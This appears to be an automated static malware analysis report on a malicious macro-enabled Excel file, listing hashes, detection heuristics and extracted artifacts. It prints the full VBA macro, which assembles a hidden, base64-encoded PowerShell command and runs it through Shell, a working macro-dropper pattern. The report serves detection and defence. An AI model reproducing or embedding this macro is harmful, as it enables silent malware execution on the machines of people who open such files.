Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c4241f2fe45213c9…

MALICIOUS

Office (OOXML)

12.8 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-16
MD5: 4d4ec7fcb9a847de6b786297335e3c31 SHA-1: 079ab8538912947a9bed9d5353bf022ac51f8977 SHA-256: c4241f2fe45213c93156624711781244f2f78367f34033256ab0ded22de7fdc2
180 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (str)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    str = "powershell.exe -noP -W Hidden -e nVRtj9o4EP7OrxhFPinRkmx4KQWilUqh23JX6N5Cu71D6GQSQ1IcO+"
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2214 bytes
SHA-256: cd3ea38e441e4a9eae9fe4029da095adef504448573111d85e5cbeeeaf23c766
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. 28 of 52 identifiers look randomly generated (e.g. 'nVRtj9o4EP7OrxhFPinRkmx4KQWilUqh23JX6N5C') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub new3()
Dim str As String
Dim exec As String

str = "powershell.exe -noP -W Hidden -e nVRtj9o4EP7OrxhFPinRkmx4KQWilUqh23JX6N5Cu71D6GQSQ1IcO+"
str = str + "s4EDblv98Eciz9el/ijD0zzzPjZ0ye4Q7eGbXFiPNxnEilTW"
str = str + "PLlGC81XQCzg1rCUm24pEPqaYaF5ZrPIex0A9awbdI6YzyAe"
str = str + "fSN6s9ngyCQLE0rUMWCQ3Bfha9sMpYn30xlRTzQ/K6/aCkZr"
str = str + "62vP/NZagY1Wwe4hK8cjnbA61VtMo0uyKlqb89M7s4457SF/"
str = str + "aX7QeqaMwQ6xJ8wsIS7jndXHue0cYBlmG8q2l1KEiAHTYG74"
str = str + "ejD/cfP41//+PzZPrl4c/H2fzrt6fvf/1NV37A1psw+rHlsZ"
str = str + "DJs0p1ttvnhxe30Wy133TednuGM5fDkKqBUvRgWrV1JvwSHX"
str = str + "yT7KwCFNMZ9sE0F8husVwC2f0aAT9hwmiaKWZ/Wf3ANoM9y2"
str = str + "LLwQ/8Bm7ecF2w2TP0mtbxNbuGgqxL9obXcJzWz7XE4vzQlq"
str = str + "cUeHZzByRYmBumbUVFIGOwY5pHMWYlgfOZiY0OreXRq/iRtX"
str = str + "eVnUEBiZI+thqKBS2JLkmOcPi5AfLP0QMmAqSQI/sU1VDhQm"
str = str + "EKtv/PeDzhWo5ALZjW8XgFsCkAGYNJojvXIxHYXEOnjX83N1"
str = str + "ZBQkTSHtmWgAEiMA+gKhBDOETId4t+aekQloy4B9EaTOx5al"
str = str + "lw6Tp6IGxlGL3d968GlklijJsiz6rfs0OqWexMmXae2GrIIy"
str = str + "YQPXY+oVyYSh0UnWlkKVM23eCRUQdjIl8izult23ERVcYJKm"
str = str + "7FkedkNv4AHafhwVOE1e9TmM4tw6oRgZgbDxbvD5qdZJCU5G"
str = str + "NnJPeCSxqMqKamEWqd9G9vG72m0+h0nV7baTR7/a7bdW+JMA"
str = str + "DzSAxDQnY5oHilLF4xNWLrSESnxpJnsKc4EGAgfqtpgC3QSh"
str = str + "PqMzjt3FdXkIKd0DTVocpqJL8jst//5cFw6ySpZFJ385brur"
str = str + "i0XctbVO16zISOYubgfDElkxlTuwgF40yoSkPKl/3+UCYHky"
str = str + "R1cOuwOI/h0iQ5yh+NVtO0rDpcQMrSMOT6nUDEOsnr5eKWYy"
str = str + "IzbYuM412f3gJ7xhlLcFqYL1GM3U7bdY/4evlhcfwX"

Shell (str)
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: 3b498974488e88915a3746a380670e258e2a72674ef9e834acdcfb28dd8bec12
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload.